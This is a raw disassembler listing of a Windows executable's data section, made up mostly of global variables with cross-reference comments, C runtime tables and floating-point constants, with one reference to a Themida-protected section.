sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_4397B0 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_4397C0 dd offset off_4397C0 ; DATA XREF: sub_41B888+Do ; sub_41B888+69o ... off_4397C4 dd offset off_4397C0 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_4397D8 dd offset dword_4397D8 dword_4397D0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_4397D8 dd 0F0h, 0F1h, 338h dup(0) ; DATA XREF: ___:004397C8o ; ___:004397CCo dword_43A4C0 dd 4C8h dup(0) ; DATA XREF: Themida_:loc_50E849o off_43B7E0 dd offset off_4397C0 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_43B7E4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_43B7E8 dd 14h ; DATA XREF: sub_41C5B8+2o off_43B7EC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_43B8C0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_43B8D0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43B8E8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_43B8F4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_43B900 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_43B904 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_43B908 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_43B90C dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_43B910 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_43B914 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_43B924 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_43B928 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_43B930 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_43B938 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_43B940 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_43B944 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_43B950 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43BA30 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_43BA34 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43BB98 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43BB9C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43BC10 dd 3 ; DATA XREF: ___:0041F003r ; sub_421C3C+C8r dword_43BC14 dd 7 ; DATA XREF: ___:0041F009r ; sub_421C3C+CDr dword_43BC18 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_43BC1C dd 8Ch ; DATA XREF: ___:0041F02Dr ; ___:0041F03Aw ... dword_43BC20 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_43BC28 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_43BC2C dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_43BCB8 dd offset dword_48A320 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_48A320 dd 101h dword_43BCC8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_43BCD8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43BCF8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43BD28 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_43BF38 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_43BF40 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_43BF58 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_43BF70 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_43BF74 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_43BF78 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43BF7C dd offset dword_545350 ; DATA XREF: ___:off_43BFFCo dd 0Fh dup(0) off_43BFBC dd offset dword_544450 ; DATA XREF: ___:off_43C000o dd 0Fh dup(0) off_43BFFC dd offset off_43BF7C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_43C000 dd offset off_43BFBC ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_43C008 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_43C00C dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_43C010 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_43C018 dd 0FFFFFFFFh ; DATA XREF: sub_42094E:loc_420965w ; sub_420BAC+26r ... dword_43C01C dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_43C020 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_43C024 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43C054 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_43C058 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43C090 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43C1F0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43C34C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43C364 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43C384 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 dd offset off_424D00 dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_43C3C8 dd offset off_424D00 ; DATA XREF: ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_43C3E8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_43C3EA dw 0 ; DATA XREF: sub_40144A+1E3w word_43C3EC dw 0 ; DATA XREF: sub_40144A+1E9w word_43C3EE dw 0 ; DATA XREF: sub_40144A+1F0w byte_43C3F0 db 0 ; DATA XREF: sub_40144A+1F7w byte_43C3F1 db 0 ; DATA XREF: sub_40144A+1FEw word_43C3F2 dw 0 ; DATA XREF: sub_40144A+204w dword_43C3F4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_43C3F8 dd 0 ; DATA XREF: sub_40144A+258w byte_43C3FC db 0 ; DATA XREF: sub_40144A+26Aw byte_43C3FD db 0 ; DATA XREF: sub_40144A+27Dw word_43C3FE dw 0 ; DATA XREF: sub_40144A+295w word_43C400 dw 0 ; DATA XREF: sub_40144A+2A4w word_43C402 dw 0 ; DATA XREF: sub_40144A+29Cw dword_43C404 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_43C808 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_43C80C db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_43C810 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_43C81C dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_43C824 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Do ... dword_43C828 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_43C830 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_43C838 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_43C83C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_43C848 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_43C84C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 3E6h dup(0) dword_43D7E8 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_43D800 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_43D804 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_43D908 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43DA0C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_43DA10 dd 0 ; DATA XREF: sub_407252+52w dword_43DA14 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_43DA18 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_43DA98 dd 0 ; DATA XREF: sub_407252+8Fw dword_43DA9C dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_43DAA0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_43DAA8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_43DAAC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_43DD34 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_43DE38 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_43DE40 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_43DE44 dd 0 ; DATA XREF: sub_407252+2E7w dword_43DE48 dd 0 ; DATA XREF: sub_407252+2F4w dword_43DE4C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_43DE54 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_43DE58 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43DE5C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_43DF60 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_43E064 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_43E068 dd 0 ; DATA XREF: sub_407252+171w dword_43E06C dd 0 ; DATA XREF: sub_407252+1EEr dword_43E070 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_43E0F0 dd 0 ; DATA XREF: sub_407252+1AEw dword_43E0F4 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_43E0F8 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_43E100 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_43E108 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_43E308 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43EB08 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43F308 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43F30C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43F310 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43F314 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43F318 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43F518 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43F520 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43F524 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43F528 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43F52C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43F530 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43F534 dd 0 ; DATA XREF: sub_40981F+65w ; sub_41518A+F5r dword_43F538 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43F53C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43F540 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43F544 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43F548 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43F54C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43F550 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43F554 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43F558 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43F55C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43F560 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43F564 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43F568 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43F56C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43F570 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43F574 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43F578 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43F57C dd 0 ; DATA XREF: sub_40981F+B3w dword_43F580 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43F584 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43F588 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43F58C dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43F590 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43F594 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43F598 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43F59C dd 0 ; DATA XREF: sub_4075E6+20r ; sub_40981F+5D8w dword_43F5A0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43F5A4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43F5A8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43F5AC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43F5B0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43F5B4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43F5B8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43F5BC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43F5C0 dd 0 ; DATA XREF: sub_4087EE+28r ; sub_4089E7+2Br ... dword_43F5C4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:00415550r dword_43F5C8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43F5CC dd 0 ; DATA XREF: sub_4085B3+207r ; sub_40981F+496w dword_43F5D0 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43F5D4 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43F5D8 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43F5DC dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43F5E0 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43F5E4 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43F5E8 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43F5EC dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43F5F0 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43F5F4 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43F5F8 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43F5FC dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43F600 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43F604 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43F608 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43F60C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43F610 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43F614 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43F618 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43F61C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43F620 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43F624 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43F628 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43F62C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43F630 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43F634 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43F638 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43F63C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43F640 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43F644 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43F648 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43F64C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43F650 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43F654 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43F658 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43F65C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43F660 dd 0 ; DATA XREF: sub_40981F+A73w dword_43F664 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43F668 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43F66C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43F670 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43F674 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43F678 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43F67C dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43F680 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43F684 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43F688 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43F68C dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43F690 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43F694 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43F698 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4626r dword_43F69C dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43F6A0 dd 0 ; DATA XREF: sub_40981F+112w dword_43F6A4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43F6A8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43F6AC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43F6B0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43F6B4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43F6B8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43F6BC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43F6C0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43F6C4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43F6C8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43F6CC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43F6D0 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43F6D4 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511F+55r dword_43F6D8 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43F6DC dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43F6E0 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43F6E4 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43F6E8 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43F6EC dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43F6F0 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43F6F4 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43F6F8 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43F6FC dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43F700 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43F704 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43F708 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43F70C dd 0 